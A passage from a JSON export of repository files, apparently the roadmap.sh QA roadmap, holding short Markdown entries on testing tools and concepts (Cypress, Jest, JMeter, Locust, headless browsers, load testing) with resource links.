    "content": "# CSR vs SSR\n\nCSR stands for Client Side Rendering and SSR stands for Server Side Rendering. CSR pages are computed in your machine and then shown by your browser while in the case of SSR, the server sends ready to show Html content directly. Primarily React, Vue, and Angular apps are examples of CSR (technically it is possible for them to be executed in SSR mode too) and almost all older tech stacks are SSR like PHP, ruby on rails, java, dot net, etc. From the user's standpoint, CSR apps take higher time to render but compensate by avoiding page reloads later (SPA) while SSR apps often have faster initial load time but do a full page reload often.\n\nVisit the following resources to learn more:\n\n- [@article@SSR vs CSR vs SSG](https://medium.com/@prashantramnyc/server-side-rendering-ssr-vs-client-side-rendering-csr-vs-pre-rendering-using-static-site-89f2d05182ef)\n- [@video@Server Side Rendering vs Client Side Rendering](https://www.youtube.com/watch?v=rNVcZklcmqU)\n- [@feed@Explore top posts about Web Development](https://app.daily.dev/tags/webdev?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/cypress@5cMhZ-7YMQ6ccs-AaIi-0.md",
    "content": "# Cypress\n\nCypress framework is a JavaScript-based end-to-end testing framework built on top of Mocha – a feature-rich JavaScript test framework running on and in the browser, making asynchronous testing simple and convenient. It also uses a BDD/TDD assertion library and a browser to pair with any JavaScript testing framework.\n\nVisit the following resources to learn more:\n\n- [@official@Cypress](https://www.cypress.io/)\n- [@official@Cypress Documentation](https://docs.cypress.io/guides/overview/why-cypress#Other)\n- [@official@How it Works](https://www.cypress.io/how-it-works)\n- [@article@Cypress - End to End Testing Framework](https://dev.to/bushraalam/cypress-end-to-end-testing-framework-3naa)\n- [@video@Cypress End-to-End Testing](https://www.youtube.com/watch?v=7N63cMKosIE)\n- [@video@Cypress Tips & Tricks](https://www.youtube.com/watch?v=PZ2OsLBts1E&list=PLP9o9QNnQuAYYRpJzDNWpeuOVTwxmIxcI)\n- [@feed@Explore top posts about Cypress](https://app.daily.dev/tags/cypress?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/cypress@D7zGshmgwqWluF-W7OTWe.md",
    "content": "# Cypress\n\nCypress framework is a JavaScript-based end-to-end testing framework built on top of Mocha – a feature-rich JavaScript test framework running on and in the browser, making asynchronous testing simple and convenient. It also uses a BDD/TDD assertion library and a browser to pair with any JavaScript testing framework.\n\nVisit the following resources to learn more:\n\n- [@official@Cypress](https://www.cypress.io/)\n- [@official@Cypress Documentation](https://docs.cypress.io/guides/overview/why-cypress#Other)\n- [@official@How it Works](https://www.cypress.io/how-it-works)\n- [@article@Cypress - End to End Testing Framework](https://dev.to/bushraalam/cypress-end-to-end-testing-framework-3naa)\n- [@video@Cypress End-to-End Testing](https://www.youtube.com/watch?v=7N63cMKosIE)\n- [@video@Cypress Tips & Tricks](https://www.youtube.com/watch?v=PZ2OsLBts1E&list=PLP9o9QNnQuAYYRpJzDNWpeuOVTwxmIxcI)\n- [@feed@Explore top posts about Cypress](https://app.daily.dev/tags/cypress?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/cypress@iQ7xwiA6xmbLyRIkI7tXM.md",
    "content": "# Cypress\n\nCypress framework is a JavaScript-based end-to-end testing framework built on top of Mocha – a feature-rich JavaScript test framework running on and in the browser, making asynchronous testing simple and convenient. It also uses a BDD/TDD assertion library and a browser to pair with any JavaScript testing framework.\n\nVisit the following resources to learn more:\n\n- [@official@Cypress](https://www.cypress.io/)\n- [@official@Cypress Documentation](https://docs.cypress.io/guides/overview/why-cypress#Other)\n- [@official@How it Works](https://www.cypress.io/how-it-works)\n- [@article@Cypress - End to End Testing Framework](https://dev.to/bushraalam/cypress-end-to-end-testing-framework-3naa)\n- [@video@Cypress End-to-End Testing](https://www.youtube.com/watch?v=7N63cMKosIE)\n- [@video@Cypress Tips & Tricks](https://www.youtube.com/watch?v=PZ2OsLBts1E&list=PLP9o9QNnQuAYYRpJzDNWpeuOVTwxmIxcI)\n- [@feed@Explore top posts about Cypress](https://app.daily.dev/tags/cypress?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/datadog@Y2I_dcVZb4xZremXoajjx.md",
    "content": "# Datadog\n\nDatadog is a monitoring and analytics platform for large-scale applications. It encompasses infrastructure monitoring, application performance monitoring, log management, and user-experience monitoring. Datadog aggregates data across your entire stack with 400+ integrations for troubleshooting, alerting, and graphing.\n\nVisit the following resources to learn more:\n\n- [@official@Datadog](https://www.datadoghq.com/)\n- [@official@Datadog Documentation](https://docs.datadoghq.com/)"
  },
  {
    "path": "src/data/roadmaps/qa/content/delphix@V54fh772XfHHIFQoyMCOo.md",
    "content": "# Delphix\n\nDelphix is a data management platform that focuses on providing virtualized, masked, and rapidly provisioned data copies for various purposes like development, testing, and reporting. It allows organizations to create and manage virtual databases from a single source, reducing storage costs and accelerating data delivery while maintaining data security and compliance.\n\nVisit the following resources to learn more:\n\n- [@official@Test Data Management Solutions](https://www.perforce.com/solutions/test-data-management)"
  },
  {
    "path": "src/data/roadmaps/qa/content/detox@gZnNHDjFMI003Od7u2RNa.md",
    "content": "# Detox\n\nDetox is a JavaScript mobile testing framework that is built into the application and the test execution starts with app launch. This makes test execution really fast and robust as no external additional tools are needed to orchestrate and synchronize during the test execution.\n\nVisit the following resources to learn more:\n\n- [@official@Detox](https://wix.github.io/Detox/)\n- [@official@Getting Started with Detox](https://wix.github.io/Detox/docs/introduction/getting-started)\n- [@article@Test Automation Tools: Detox](https://www.spritecloud.com/test-automation-tools-detox/)"
  },
  {
    "path": "src/data/roadmaps/qa/content/drone@3oDyxhhbCCqxuCh1sT9VC.md",
    "content": "# Drone\n\nDrone is a CI/CD service offering by Harness. Each build runs on an isolated Docker container, and Drone integrates with many popular source code management repositories like GitHub, BitBucket and GitLab\n\nVisit the following resources to learn more:\n\n- [@official@Drone](https://www.drone.io/)\n- [@official@Drone Documentation](https://docs.drone.io/)\n- [@official@Drone Getting Started Guide](https://docs.drone.io/server/overview/)"
  },
  {
    "path": "src/data/roadmaps/qa/content/email-testing@G-F6jQTOAZ2kQ36F-VrBB.md",
    "content": "# Email Testing\n\nEmail testing allows you to view your email before sending it out to your subscriber list to verify links, design, spelling errors, and more.\n\nVisit the following resources to learn more:\n\n- [@article@About Email Testing](https://www.campaignmonitor.com/blog/email-marketing/how-email-testing-and-rendering-works-and-why-its-important/)\n- [@article@Checklist: How to Test and QA an Email](https://sponge.io/checklist-how-to-test-and-qa-an-email/)\n- [@feed@Explore top posts about QA](https://app.daily.dev/tags/qa?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/espresso@stMeB1U3SfuefZ-yS8wGF.md",
    "content": "# Espresso\n\nEspresso is a native testing framework for Android to write reliable UI tests. Google released the Espresso framework in October 2013 and, as of release version 2.0, Espresso is part of the Android Support Repository. One of the important features in Espresso is that it automatically synchronizes your test actions with the user interface of your application. The framework also ensures that your activity is started before the test runs. It can also force a test to wait until all observer background activities have finished, which is sometimes a problem with other testing frameworks.\n\nVisit the following resources to learn more:\n\n- [@official@Espresso Documentation](https://developer.android.com/training/testing/espresso#kotlin)\n- [@opensource@Espresso Code Samples on GitHub](https://github.com/android/testing-samples)\n- [@article@Espresso Testing Tutorial](https://www.tutorialspoint.com/espresso_testing/index.htm)"
  },
  {
    "path": "src/data/roadmaps/qa/content/exploratory-testing@2h6mJeIFCU72J7aggTvnQ.md",
    "content": "# Exploratory testing\n\nExploratory testing is evaluating a product by learning about it through exploration and experimentation, including to some degree: questioning, study, modeling, observation, inference, etc.\n\nVisit the following resources to learn more:\n\n- [@article@Exploratory Testing](https://www.satisfice.com/exploratory-testing)\n- [@article@Exploratory Testing 3.0](https://www.satisfice.com/blog/archives/1509)\n- [@article@History of Definitions of Exploratory Testing](https://www.satisfice.com/blog/archives/1504)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/frontend-automation@hU5OCnEe3tG206xuGsVFd.md",
    "content": "# Frontend automation\n\nFront-end automation is a way to characterize automation that streamlines tasks focused on interactivity, websites, and attended processes. Robotic process automation, or RPA, is considered automation on the front end, or from the user-interface (UI) level. Benefits of front-end automation include quick task building with no programming knowledge, no required changes to existing programs or applications, and those individuals who know the keystrokes can easily build the automation task.\n\nVisit the following resources to learn more:\n\n- [@article@How We do Automated Testing on our Frontend](https://dev.to/davidz/how-we-do-automated-testing-on-our-frontend-b10)\n- [@feed@Explore top posts about Automation](https://app.daily.dev/tags/automation?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/functional-testing@o4xmFhw_ilWdhpCiEotck.md",
    "content": "# Functional Testing\n\nFunctional testing is a type of software testing that validates the software system against the functional requirements/specifications. The purpose of Functional tests is to test each function of the software application by providing appropriate input and verifying the output against the Functional requirements.\n\nVisit the following resources to learn more:\n\n- [@article@What is Functional Testing? Types & Examples](https://www.guru99.com/functional-testing.html)\n- [@article@Functional Testing : A Detailed Guide](https://www.browserstack.com/guide/functional-testing)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/gatling@J1Yx1VcO20Lc3r3PdGpUW.md",
    "content": "# Gatling\n\nGatling is a highly capable load testing tool. It is designed for ease of use, maintainability and high performance. Out of the box, Gatling comes with excellent support of the HTTP protocol that makes it a tool of choice for load testing any HTTP server. As the core engine is actually protocol agnostic, it is perfectly possible to implement support for other protocols. For example, Gatling currently also ships JMS support.\n\nGatling’s architecture is asynchronous as long as the underlying protocol, such as HTTP, can be implemented in a non blocking way. This kind of architecture lets us implement virtual users as messages instead of dedicated threads, making them very resource cheap. Thus, running thousands of concurrent virtual users is not an issue.\n\nVisit the following resources to learn more:\n\n- [@official@Gatling](https://gatling.io/)\n- [@video@Learn Gatling](https://www.youtube.com/playlist?list=PLJ9A48W0kpRJE6s8I1MjWm-z8BGbUYNCw)"
  },
  {
    "path": "src/data/roadmaps/qa/content/ghost-inspector@mX7bNNP7WjFdlsRK6qIgy.md",
    "content": "# Ghost Inspector\n\nGhost Inspector is a codeless automated testing tool that allows you to easily create and run automated browser tests for websites and web applications. These tests carry out actions in a web browser the same way a real user would to ensure that everything is working properly.\n\nVisit the following resources to learn more:\n\n- [@official@Ghost Inspector](https://ghostinspector.com/)\n- [@article@What Is Ghost Inspector? Overview & Tour Of Features](https://theqalead.com/test-management/what-is-ghost-inspector-overview-tour-of-features/)"
  },
  {
    "path": "src/data/roadmaps/qa/content/git@WrqKdOTRUiOnc1aIhTZeB.md",
    "content": "# Git\n\nGit is a free and open source distributed version control system designed to handle everything from small to very large projects with speed and efficiency.\n\nVisit the following resources to learn more:\n\n- [@official@Git](https://git-scm.com/)\n- [@article@Learn Git with Tutorials, News and Tips - Atlassian](https://www.atlassian.com/git)\n- [@article@Git Cheat Sheet](https://cs.fyi/guide/git-cheatsheet)\n- [@video@Git & GitHub Crash Course For Beginners](https://www.youtube.com/watch?v=SWYqp7iY_Tc)\n- [@video@Complete Git and GitHub Tutorial](https://www.youtube.com/watch?v=apGV9Kg7ics)\n- [@feed@Explore top posts about Git](https://app.daily.dev/tags/git?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/github@v4gjV1qolrFXdESrY9bzG.md",
    "content": "# GitHub\n\nGitHub is a provider of Internet hosting for software development and version control using Git. It offers the distributed version control and source code management functionality of Git, plus its own features.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated GitHub Roadmap](https://roadmap.sh/git-github)\n- [@official@GitHub](https://github.com)\n- [@official@GitHub Documentation](https://docs.github.com/en/get-started/quickstart)\n- [@video@What is GitHub?](https://www.youtube.com/watch?v=w3jLJU7DT5E)\n- [@video@Git vs. GitHub: Whats the difference?](https://www.youtube.com/watch?v=wpISo9TNjfU)\n- [@video@Git and GitHub for Beginners](https://www.youtube.com/watch?v=RGOj5yH7evk)\n- [@video@Git and GitHub - CS50 Beyond 2019](https://www.youtube.com/watch?v=eulnSXkhE7I)\n- [@feed@Explore top posts about GitHub](https://app.daily.dev/tags/github?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/gitlab-ci@iW3oaTl7c3a1kNlCKy-13.md",
    "content": "# GitLab CI\n\nGitLab offers a CI/CD service that can be used as a SaaS offering or self-managed using your own resources. You can use GitLab CI with any GitLab hosted repository, or any BitBucket Cloud or GitHub repository in the GitLab Premium self-managed, GitLab Premium SaaS and higher tiers.\n\nVisit the following resources to learn more:\n\n- [@official@GitLab](https://gitlab.com/)\n- [@official@GitLab Documentation](https://docs.gitlab.com/)\n- [@official@Get Started with GitLab CI](https://docs.gitlab.com/ee/ci/quick_start/)\n- [@official@Learn GitLab Tutorials](https://docs.gitlab.com/ee/tutorials/)\n- [@official@GitLab CI/CD Examples](https://docs.gitlab.com/ee/ci/examples/)\n- [@feed@Explore top posts about GitLab](https://app.daily.dev/tags/gitlab?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/gitlab@RfwyTgwfb_xu5H9N-8_s9.md",
    "content": "# GitLab\n\nGitLab is a provider of internet hosting for software development and version control using Git. It offers the distributed version control and source code management functionality of Git, plus its own features.\n\nVisit the following resources to learn more:\n\n- [@official@GitLab](https://gitlab.com/)\n- [@official@GitLab Documentation](https://docs.gitlab.com/)\n- [@feed@Explore top posts about GitLab](https://app.daily.dev/tags/gitlab?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/gmail-tester@mIM9ausl_tSUNPUerIfEr.md",
    "content": "# Gmail Tester\n\nGmail-tester is a simple Node.js Gmail client which checks/returns email message(s) straight from any Gmail-powered account (both private and company).\n\nVisit the following resources to learn more:\n\n- [@opensource@Gmail-tester Package](https://www.npmjs.com/package/gmail-tester)\n- [@article@Using the gmail-tester + Puppeteer to poll Gmail inbox](https://medium.com/@sergtimosh/using-gmail-tester-puppeteer-to-poll-gmail-inbox-65bbee17618c)"
  },
  {
    "path": "src/data/roadmaps/qa/content/grafana@8CztIu0BOPZZRZsqR9asW.md",
    "content": "# Grafana\n\nGrafana is the open-source platform for monitoring and observability. It allows you to query, visualize, alert on and understand your metrics no matter where they are stored.\n\nVisit the following resources to learn more:\n\n- [@official@Grafana](https://grafana.com/)\n- [@official@Grafana Documentation](https://grafana.com/docs/)\n- [@official@Grafana Webinars and Videos](https://grafana.com/videos/)\n- [@article@Grafana Community](https://community.grafana.com/)\n- [@feed@Explore top posts about Grafana](https://app.daily.dev/tags/grafana?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/gray-box-testing@ZmWEG7Wu-h7bZe6pGxqDg.md",
    "content": "# Gray Box Testing\n\nGray box testing is a software testing technique to test a software product or application with partial knowledge of the internal structure of the application. The purpose of gray box testing is to search and identify the defects due to improper code structure or improper use of applications.\n\nVisit the following resources to learn more:\n\n- [@article@What is Gray Box Testing? Techniques & Example](https://www.guru99.com/grey-box-testing.html)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/headless-chrome@JO--NVMs3saUNjh3mcd7z.md",
    "content": "# Headless Chrome\n\nHeadless Chrome is a way to run the Chrome browser in a headless environment without the full browser UI. One of the benefits of using Headless Chrome (as opposed to testing directly in Node) is that your JavaScript tests will be executed in the same environment as users of your site.\n\nVisit the following resources to learn more:\n\n- [@article@Headless Chromium](https://chromium.googlesource.com/chromium/src/+/lkgr/headless/README.md)\n- [@feed@Explore top posts about Google Chrome](https://app.daily.dev/tags/google-chrome?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/headless-fox@ryoSezFNeiunCAZygCbaQ.md",
    "content": "# Headless Fox\n\nHeadless Browser Testing is a process of running the browser tests without the type of browser UI or GUI. In headless browser testing, to conduct cross-browser testing the tester can run test cases accurately and successfully without requiring the browser on which application needs to be tested.\n\nVisit the following resources to learn more:\n\n- [@article@Using Headless Mode in Firefox](https://hacks.mozilla.org/2017/12/using-headless-mode-in-firefox/)"
  },
  {
    "path": "src/data/roadmaps/qa/content/headless-testing@Pm-Wx7Z3jCUFcafetsQYi.md",
    "content": "# Headless Testing\n\nHeadless testing is when end-to-end tests are performed without loading the browser's user interface. Since the browser operates as a typical browser would but does not make use of the user interface, it is considered highly suitable for automated testing.\n\nA few example cases where one may use headless browser testing include:\n\n*   Automating HTML event responses, such as form submission, keyboard events, mouse-clicking, etc.\n*   Web scraping\n*   Generating screenshots of webpages\n\nVisit the following resources to learn more:\n\n- [@article@What is Headless Browser Testing and Why is it Important?](https://www.browserstack.com/guide/what-is-headless-browser-testing)\n- [@feed@Explore top posts about QA](https://app.daily.dev/tags/qa?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/html-css-javascript@pYkfl-4gMHRj9wIeH8RTP.md",
    "content": "# HTML/CSS/JavaScript Basics\n\nHTML stands for HyperText Markup Language. It is used on the front and gives structure to the webpage, which you can style using CSS and make interactive using JavaScript.\n\nCSS or Cascading Style Sheets is the language used to style the front end of any website. CSS is a cornerstone technology of the World Wide Web, alongside HTML and JavaScript.\n\nJavaScript allows you to add interactivity to your pages. You may have seen common examples on the websites: sliders, click interactions, popups, and so on.\n\nVisit the following resources to learn more:\n\n- [@feed@Explore top posts about CSS](https://app.daily.dev/tags/css?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/html-unit@-Sf7DLr8Ywoorrmsx3bfd.md",
    "content": "# HtmlUnit\n\nHtmlUnit is a \"GUI-Less browser for Java programs\". It models HTML documents and provides an API that allows you to invoke pages, fill out forms, click links, etc... just like you do in your \"normal\" browser. It has fairly good JavaScript support (which is constantly improving) and is able to work even with quite complex AJAX libraries, simulating Chrome, Firefox or Internet Explorer depending on the configuration used.\n\nHtmlUnit is not a generic unit testing framework. It is specifically a way to simulate a browser for testing purposes and is intended to be used within another testing framework such as JUnit or TestNG.\n\nVisit the following resources to learn more:\n\n- [@official@HtmlUnit](https://htmlunit.sourceforge.io/)\n- [@article@Introduction to HtmlUnit](https://www.baeldung.com/htmlunit)\n- [@feed@Explore top posts about HTML](https://app.daily.dev/tags/html?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/integration-testing@a_vwz-onn6QEoc27N6oBc.md",
    "content": "# Integration Testing\n\nIntegration Testing is a type of testing where software modules are integrated logically and tested as a group. A typical software project consists of multiple software modules coded by different programmers. This testing level aims to expose defects in the interaction between these software modules when they are integrated. Integration Testing focuses on checking data communication amongst these modules.\n\nVisit the following resources to learn more:\n\n- [@article@Integration Testing Tutorial](https://www.guru99.com/integration-testing.html)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/jasmine@HP55XWH18THmCNjCq-gBl.md",
    "content": "# Jasmine\n\nJasmine is a very popular JavaScript BDD (behavior-driven development) framework for unit testing JavaScript applications. It provides utilities that can be used to run automated tests for both synchronous and asynchronous code. It does not depend on any other JavaScript frameworks. It does not require a DOM.\n\nVisit the following resources to learn more:\n\n- [@official@Jasmines](https://jasmine.github.io/)\n- [@article@Easy and Practical Example of Angular Testing with Jasmine](https://semaphoreci.com/community/tutorials/testing-components-in-angular-2-with-jasmine)\n- [@article@Starting with Jasmine from Scratch](https://www.testim.io/blog/jasmine-js-a-from-scratch-tutorial-to-start-testing)"
  },
  {
    "path": "src/data/roadmaps/qa/content/jenkins@3l2dkN1vBy9johFhAgZhT.md",
    "content": "# Jenkins\n\nJenkins is an open-source CI/CD automation server. Jenkins is primarily used for building projects, running tests, static code analysis and deployments.\n\nVisit the following resources to learn more:\n\n- [@official@Jenkins](https://www.jenkins.io/)\n- [@official@Official Jenkins Handbook](https://www.jenkins.io/doc/book/)\n- [@official@Jenkins Getting Started Guide](https://www.jenkins.io/doc/pipeline/tour/getting-started/)\n- [@feed@Explore top posts about Jenkins](https://app.daily.dev/tags/jenkins?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/jest@ZeJSeYs8fkZLQ-Pc3TqEM.md",
    "content": "# Jest\n\nJest is a delightful JavaScript Testing Framework with a focus on simplicity. It works with projects using: Babel, TypeScript, Node, React, Angular, Vue and more!\n\nVisit the following resources to learn more:\n\n- [@official@Jest](https://jestjs.io/)\n- [@official@Jest Documentation](https://jestjs.io/docs/getting-started)\n- [@video@Jest Crash Course - Unit Testing in JavaScript](https://www.youtube.com/watch?v=7r4xVDI2vho)\n- [@feed@Explore top posts about Jest](https://app.daily.dev/tags/jest?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/jmeter@UeeDNUPZ61_HHgcaF9-__.md",
    "content": "# JMeter\n\nApache JMeter is an Apache project that can be used as a load testing tool for analyzing and measuring the performance of a variety of services, with a focus on web applications.\n\nVisit the following resources to learn more:\n\n- [@official@Apache JMeter](https://jmeter.apache.org/)\n- [@video@Learn JMeter](https://www.youtube.com/playlist?list=PLJ9A48W0kpRIjLkZ32Do9yDZXnnm7_uj_)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/junit@5bNdrymdzqL0VbTqWt8r2.md",
    "content": "# JUnit\n\nJUnit is known as a unit testing framework used for the Java programming language. JUnit has been playing a crucial in the development of test-driven development and is one of a family of unit testing frameworks. JUnit is useful to write repeatable tests for your application code units. JUnit stimulates the idea of “testing first, then coding,”. The test approach explicates –test a little + code a little = JUnit. JUnit helps the programmer by increasing the productivity and the stability of the program’s code snippets.That will helps in reducing the time of the tester, which is spent on debugging of the code.\n\nVisit the following resources to learn more:\n\n- [@article@What is JUnit?](https://www.tutorialspoint.com/junit/junit_test_framework.htm)"
  },
  {
    "path": "src/data/roadmaps/qa/content/k6@Jcp29_ASj9QZ_DjDBIapJ.md",
    "content": "# k6\n\nGrafana k6 is an open-source load testing tool that makes performance testing easy and productive for engineering teams. k6 is free, developer-centric, and extensible.\n\nUsing k6, you can test the reliability and performance of your systems and catch performance regressions and problems earlier. k6 will help you to build resilient and performant applications that scale.\n\nVisit the following resources to learn more:\n\n- [@official@Grafana k6 Website](https://k6.io/)\n- [@video@Learn k6](https://www.youtube.com/playlist?list=PLJ9A48W0kpRJKmVeurt7ltKfrOdr8ZBdt)"
  },
  {
    "path": "src/data/roadmaps/qa/content/kanban@cJyQx-LBcOL11nkK-P2JH.md",
    "content": "# Kanban\n\nKanban is a very popular framework for development in the agile software development methodology. It provides a transparent way of visualizing the tasks and work capacity of a team. It mainly uses physical and digital boards to allow the team members to visualize the current state of the project they are working on.\n\nA kanban board is an agile project management tool designed to help visualize work, limit work-in-progress, and maximize efficiency.\n\nVisit the following resources to learn more:\n\n- [@article@Kanban - A Brief Introduction](https://www.atlassian.com/agile/kanban)\n- [@article@Kanban Model in Software Engineering](https://www.guru99.com/kanban-cards-boards-methodology.html)"
  },
  {
    "path": "src/data/roadmaps/qa/content/karateframework@8zXn8R9OGWTmreBpstj03.md",
    "content": "# Karate framework\n\nKarate is the only open-source tool to combine API test-automation, mocks, performance-testing and even UI automation into a single, unified framework. The BDD syntax popularized by Cucumber is language-neutral, and easy for even non-programmers. Assertions and HTML reports are built-in, and you can run tests in parallel for speed.\n\nThere's also a cross-platform stand-alone executable for teams not comfortable with Java. You don't have to compile code. Just write tests in a simple, readable syntax - carefully designed for HTTP, JSON, GraphQL and XML. And you can mix API and UI test-automation within the same test script.\n\nA Java API also exists for those who prefer to programmatically integrate Karate's rich automation and data-assertion capabilities.\n\nVisit the following resources to learn more:\n\n- [@official@Karate Framework](https://www.karatelabs.io/)\n- [@opensource@karate architecture](https://github.com/karatelabs/karate/blob/master/karate-core/src/test/resources/karate-map.jpg?raw=true)\n- [@video@karate for beginner](https://www.youtube.com/watch?v=1f6xtJpRx4k&list=PLhW3qG5bs-L-y5Q1zDXJAur1JNZVFB534)"
  },
  {
    "path": "src/data/roadmaps/qa/content/kibana@DCZyXcx8H2MTPcyKOhn2_.md",
    "content": "# Kibana\n\nKibana is a free and open user interface that lets you visualize your Elasticsearch data and navigate the Elastic Stack. Do anything from tracking query load to understanding the way requests flow through your apps.\n\nVisit the following resources to learn more:\n\n- [@official@Elastic Kibana](https://www.elastic.co/kibana/)\n- [@article@Learn Kibana](https://www.elastic.co/training/free)\n- [@feed@Explore top posts about ELK](https://app.daily.dev/tags/elk?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/learn-the-fundamentals@m1wX27XBWKXZcTMH2U1xp.md",
    "content": "# QA Basics\n\nThe phrase \"fit for use or purpose\" sums up quality, which is incredibly difficult to define. It all comes down to fulfilling the requirements and expectations of the consumer in terms of the product's usefulness, design, dependability, durability, and price.\n\nAssurance is nothing more than a confident statement made about a good or service. It is the assurance that a good outcome is guaranteed for a good or service. It offers a warranty that the product will perform faultlessly in accordance with expectations or needs.\n\nQuality Assurance (QA) also known as QA testing is an activity to ensure that an organization provides the best product or service to the customers. QA testing of a software involves the testing of performance, adaptability, and functionality. Yet, software quality assurance extends beyond software quality; it also comprises the quality process used for developing, testing, and release of software products. QA relies on the software development cycle, which includes the management of software requirements, design, coding, testing, and release."
  },
  {
    "path": "src/data/roadmaps/qa/content/lighthouse@fkUxhrP3LhtIVgIP9Dxar.md",
    "content": "# Lighthouse\n\nLighthouse is an open-source, automated tool for improving the quality of web pages. You can run it against any web page, public or requiring authentication. It has audits for performance, accessibility, progressive web apps, SEO, and more. You can run Lighthouse in Chrome DevTools, from the command line, or as a Node module. You give Lighthouse a URL to audit, run a series of audits against the page, and then generate a report on how well the page did. From there, use the failing audits as indicators on how to improve the page. Each audit has a reference doc explaining why the audit is important and how to fix it.\n\nVisit the following resources to learn more:\n\n- [@opensource@Lighthouse Source](https://github.com/GoogleChrome/lighthouse/)\n- [@feed@Explore top posts about Lighthouse](https://app.daily.dev/tags/lighthouse?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/load--performance-testing@wTfvbS62eyitDT8pLsVhj.md",
    "content": "# Load and Performance Testing\n\nPerformance Testing is a subset of Performance Engineering. It is a process of evaluating a system’s behavior under various extreme conditions. The main intent of performance testing is to monitor and improve key performance indicators such as response time, throughput, memory, CPU utilization, and more.\n\nThere are three objectives (three S) of Performance testing to observe and evaluate: `Speed`, `Scalability` and `Stability`. Following are the commonly used performance testing types, but not limited to:\n\n*   Load Testing\n*   Stress Testing\n*   Spike Testing\n*   Endurance Testing\n*   Volume Testing\n*   Scalability Testing\n*   Capacity Testing\n\nLoad Testing is one type of performance testing. It helps to evaluate the application under tests' behaviors such as response time, throughput, pass/fail transactions, and more under the normal workload. e.g., cart checkout response time is 500 milliseconds under typical business hours."
  },
  {
    "path": "src/data/roadmaps/qa/content/load-testing@wmMIL-0ytz7a3JygyB-wc.md",
    "content": "# Load Testing\n\nLoad Testing is a type of Performance Testing that determines the performance of a system, software product, or software application under real-life-based load conditions. Load testing determines the behavior of the application when multiple users use it at the same time. It is the response of the system measured under varying load conditions.\n\nVisit the following resources to learn more:\n\n- [@article@Load testing and Best Practices](https://loadninja.com/load-testing/)\n- [@feed@Explore top posts about Load Testing](https://app.daily.dev/tags/load-testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/locust@QjAJIfSQe7WjbyYdGWSP8.md",
    "content": "# Locust\n\nLocust is an easy-to-use, scriptable and scalable performance testing tool. You define the behavior of your users in regular Python code instead of being stuck in a UI or restrictive domain-specific language. This makes Locust infinitely expandable and very developer friendly. Given below are some of the features of Locust.\n\n*   Write test scenarios in plain old Python\n*   Distributed and scalable - supports hundreds of thousands of concurrent users\n*   Web-based UI\n*   Can test any system\n*   Hackable\n\nVisit the following resources to learn more:\n\n- [@official@Locust](https://locust.io/)\n- [@video@Learn Locust](https://www.youtube.com/playlist?list=PLJ9A48W0kpRKMCzJARCObgJs3SinOewp5)"
  },
  {
    "path": "src/data/roadmaps/qa/content/mailinator@rFjtp3-cnaUmHiKfjPZBn.md",
    "content": "# Mailinator\n\nMailinator allows Developers and QA Testing teams to automatically test their SMS and Email workflows like 2FA verifications, sign-ups, and password resets with trillions of inboxes at your fingertips. Whether you do Manual Testing, use an API, or a framework like Selenium, Cypress, Playwright, or Puppeteer - Mailinator will close the loop on email/SMS testing.\n\nVisit the following resources to learn more:\n\n- [@official@Mailinator](https://www.mailinator.com/)\n- [@official@Mailinator Official Docs](https://www.mailinator.com/docs/index.html#mailinator)"
  },
  {
    "path": "src/data/roadmaps/qa/content/manage-your-testing@pH9h2tjO6raO_g4W8EgKq.md",
    "content": "# Manage Your Testing\n\nTest Management is a process of managing the testing activities in order to ensure high quality and high-end testing of the software application. The method consists of organizing, controlling, ensuring traceability and visibility of the testing process in order to deliver the high quality software application. It ensures that the software testing process runs as expected.\n\nVisit the following resources to learn more:\n\n- [@article@Test Management Process in Software Testing](https://www.guru99.com/test-management-phases-a-complete-guide-for-testing-project.html)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/manual-testing@daUEq4xlh4PIltSdiD4F2.md",
    "content": "# QA Manual Testing\n\nManual Testing is a type of software testing in which test cases are executed manually by a tester without using any automated tools. The purpose of Manual Testing is to identify the bugs, issues, and defects in the software application. Manual software testing is the most primitive technique of all testing types, and it helps to find critical bugs in the software application.\n\nVisit the following resources to learn more:\n\n- [@article@Manual Testing Tutorial: What is, Types, Concepts](https://www.guru99.com/manual-testing.html)\n- [@feed@Explore top posts about QA](https://app.daily.dev/tags/qa?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/mobile-automation@ITtBvrJ8dsW-5LQV8tWgO.md",
